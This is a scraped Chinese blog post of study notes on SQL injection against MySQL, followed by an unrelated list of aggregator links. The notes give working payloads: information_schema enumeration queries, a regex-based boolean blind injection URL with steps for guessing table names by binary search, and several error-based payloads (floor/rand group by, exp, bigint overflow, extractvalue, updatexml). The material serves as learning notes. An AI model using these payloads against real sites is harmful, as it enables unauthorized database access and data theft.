

《sql注入天书》基础知识梳理
source link: http://blog-e.tk/2019/09/04/sql%E6%B3%A8%E5%85%A5%E5%A4%A9%E4%B9%A6-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%A2%B3%E7%90%86/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

P.S.本文整理自《sql注入天书》,部分内容摘抄自这本书,加以小修改,和一些注解,记录下自己在学习过程中遇到的坑。
关于系统数据库information_schema
所有数据库:select schema_name from information_schema.schemata;
xxx数据库里的所有数据表:select table_name from information_schema.tables where table_schema="xxx";
xxx表里面所有列:select column_name from information_schema.columns where table_name="xxx";
#bla...
bla--+blabla...
这里--
的作用与#
基本相同,不同的是--
后面必须有一个空格,众所周知,在url编码里,空格常被+
代替为了避免空格被地址栏忽略,可能就是我们把空格打成+
(我猜的)。/*bla...*/
整型列的查询不需要闭合单引号
sql查询时如果要判断某个整数列比如id
为某个数时,引号不需要闭合,select *** from *** where id=1
,select *** from *** where id="1"
,select *** from *** where id="1'"
所得到的结果是一样的!
几个常用函数:
version()
——MySQL 版本user()
——数据库用户名database()
——数据库名@@datadir
——数据库路径@@version_compile_os
——操作系统版本
concat(str1,str2,...)
——没有分隔符地连接字符串concat_ws(separator,str1,str2,...)
——含有分隔符地连接字符串group_concat(str1,str2,...)
——连接一个组的所有字符串,并以逗号分隔每一条数据说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
以下所有字符参数可以为sql查询语句
- left(a,b)从左侧截取 a 的前 b 位
- mid(a,b,c) 或者 substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。
- ascii() 或者 ord() 将字符转换为ascii码。
检查是否匹配正则表达式
字符串 regexp '正则表达式'
sql注入
基于正则的布尔盲注
如何返回正则匹配结果
判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。
?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^[a-z]' limit 0,1)--+
如果存在table_name
符合要求那么limit 0,1
就会将结果变成符合要求的第一个表,经过select 1
这一列,会返回1
进而与左边相等。
而如果没有符合要求的表名,那么右边就会是empty set
了,与左边不想等。
同时,由于每个数据库会有多个表,如apps与access就都以a开头,那么我怎么知道以a开头的有几个呢?只需调整为limit 1,1
看看能否成功选取匹配的第二张表名即可。
猜表名的过程——二分
以下是猜表名第一位的过程中,前文sql语句中正则表达式的变化及查询的返回结果。
^[a-z]->true #说明是字母
^[a-m]->false #说明在n-z里
^[n-t]->false #说明在u-z里
^[u-w]->true #说明在u-w里
^[u-v]->false #说明是w
接下来按类似方法尝试
^w[a-z]
...以此类推
基于报错的 SQL 盲注
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
注释: 这里的
concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a
意思其实是跟concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) as a
一样的! 这种注入方法原理:https://blog.csdn.net/qq_35544379/article/details/77453019
//explain:此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需要多试几次才行。 以上语句可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from select !1) group by (select 1 union select null union concat(version(),floor(rand(0)*2))
如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
select exp(~(select * FROM(SELECT USER())a))
//double 数值类型超出范围 //Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上 可以参考 exp 报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html
select !(select * from (select user())x) -(ps:这是减号) ~0
//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上 20Mysql 注入—sqlilabs—lcamry 可以参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry/articles/5509112.html
select extractvalue(1,concat(0x7e,(select @@version),0x7e));
//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
作者:@ethan-enhe
本文为作者原创,转载请注明出处:本文链接
阅读量
v1.4.4
Recommend
-
56
学天书撸点上市新转债-国祯转债 - 国祯转债规模小,主营稳定增长,又是环保大热门,我相信溢价率不可能为零,更不可能折价,于是撸点,但愿能赚个牛排钱 看成交,以中签卖出的为主,配售的也有收盘总结:收盘了,很多集友等着我发关灯吃面呢,可今天吃面哪行啊,今...
-
16
【《天书奇谭》今年修复上映,幕后花絮首度公开】上海美术电影制片厂已经启动该片的修复工作,采用胶转数方式对每一帧的画面色彩高清修复,并制作5.1声效。高清修复版年内将登上大荧幕。
-
36
下沉天书,万字长文带你深度理解小城市 邢进辉 ...
-
47
来源:赛先生一个电子遍历宇宙,几张神图巧算场论。大战后有关量子场论的3次重要会议,都是由美国理论物理学家奥本海默(JuliusRobertOppenheimer,1904-1967)主持的,这3场会议主要讨论量子电动力学。在公众眼里,奥本海
-
5
医生字迹潦草如天书?原来药方是这样写的 2020年12月20日 19:34 11070 次阅读 稿源:快科技
-
3
经典动画《天书奇谭》完成4K超高清修复 11月5日全国公映4k导语:经典动画《天书奇谭》已完成4K超高清画面修复及声音修复,其4K纪念版正式定档11...
-
12
《天书奇谭4K纪念版》成都首映 主创含泪分享影迷感叹“爷青回”!导语:据了解,关于画面,修复师在不影响原片颗粒感前提下,对老片画面和声音进行逐帧修复。修复后的影片,画质清晰度上有了极大飞跃,配乐在原片极具特色的民乐...
-
6
About在《天书九卷》,你将看到一个全新的仙侠世界:全方位自由视角,强大3D战斗画面,华丽风情场景布局、炫酷百变妖灵宠物、震撼激烈打斗节奏,带给你最爽快最逼真的游戏体验!乱世、冒险、阴谋、人与妖灵的共存或决裂,...
-
8
节目 - 天书广播 LXI 缅甸(下) ...
-
4
《如意天书》在线免费视频高清播放-高分电影-雷神影院 ...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK